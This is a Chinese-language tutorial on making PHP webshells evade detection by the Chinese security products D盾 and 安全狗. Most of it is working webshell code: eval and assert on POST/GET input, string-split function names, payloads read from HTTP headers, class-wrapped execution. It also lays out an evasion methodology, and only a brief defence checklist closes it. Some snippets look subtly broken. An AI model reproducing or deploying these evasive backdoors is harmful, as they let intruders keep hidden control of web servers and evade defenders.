webshell免杀入门
字数 930 2025-08-07 08:22:12
WebShell免杀入门技术详解
一、WebShell免杀基本概念
WebShell免杀是指通过各种技术手段使恶意WebShell脚本能够绕过安全防护软件(如D盾、安全狗等)的检测。其核心是对防护规则的bypass,而非完全消除恶意行为。
二、基础检测原理分析
常见安全软件主要检测以下特征:
- 危险函数:
eval(),assert(),system()等 - 敏感参数:如
$_POST,$_GET等直接接收外部输入的变量 - 代码结构:特定函数与敏感参数的组合模式
三、基础绕过技术
1. 函数替换法
<?php
// 原始被检测的WebShell
eval($_POST['dotast']);
// 替换为assert函数
assert("123dotast");
2. 参数混淆技术
使用字符串拼接方式隐藏敏感参数:
<?php
function dotast() {
$a = implode("", ['p','h','p','i','n','f','o','(',')']);
assert($a);
}
dotast();
3. 干扰代码插入
在敏感函数前后插入无害代码干扰检测:
<?php
function dotast() {
$a = implode("", ['e','v','a','l','(','$','_','P','O','S','T','[',"'",'a',"'",']',')']);
echo "666"; // 干扰代码
assert($a);
}
dotast();
四、高级绕过技术
1. HTTP头利用技术
通过HTTP请求头传递恶意代码:
<?php
$a = getallheaders();
$b = $a['Dotast']; // 从HTTP头获取参数
$c = "123"; // 干扰字符串
$d = "${b}${c}";
assert($d);
2. 多阶段拼接技术
分阶段构造恶意代码:
<?php
function build_payload() {
$parts = [
'e' => 'e',
'v' => 'v',
'a' => 'a',
'l' => 'l',
'param' => '$_POST["cmd"]'
];
return $parts['e'].$parts['v'].$parts['a'].$parts['l'].'('.$parts['param'].')';
}
$code = build_payload();
assert($code);
3. 类与方法封装
使用面向对象方式封装恶意代码:
<?php
class SafeClass {
public function execute($cmd) {
$func = 'a'.'s'.'s'.'e'.'r'.'t';
$func($cmd);
}
}
$obj = new SafeClass();
$obj->execute($_GET['x']);
五、PHP版本适配注意事项
- PHP7+已弃用
assert()函数的动态调用 - 替代方案可使用
call_user_func()或可变函数 - 注意不同PHP版本对字符串处理函数的差异
六、防护软件特性分析
-
D盾特点:
- 对函数名和参数内容敏感
- 容易被干扰代码影响检测
- 对多层封装检测能力较弱
-
安全狗特点:
- 规则相对简单
- 主要检测明显特征
- 对高级混淆技术防御较弱
七、免杀开发方法论
- 最小化原则:使用最少的代码实现功能
- 混淆原则:对关键部分进行变形处理
- 干扰原则:添加无害代码干扰检测
- 分层原则:多级调用分散检测点
- 环境适配:针对目标环境调整技术方案
八、防御建议
- 禁用危险函数:在php.ini中禁用
eval,assert等 - 输入过滤:对所有用户输入进行严格过滤
- 文件监控:监控网站目录的文件变更
- 日志分析:定期检查访问日志中的可疑请求
- 多层防护:结合WAF、杀毒软件等多层防御
九、总结
WebShell免杀是一个持续对抗的过程,核心在于理解防护软件的检测规则并找到其盲点。通过函数替换、参数混淆、代码干扰等技术可以有效绕过基础检测,但需要注意不同PHP版本的兼容性问题。防御方应采取多层次防护策略,而不仅仅是依赖单一检测工具。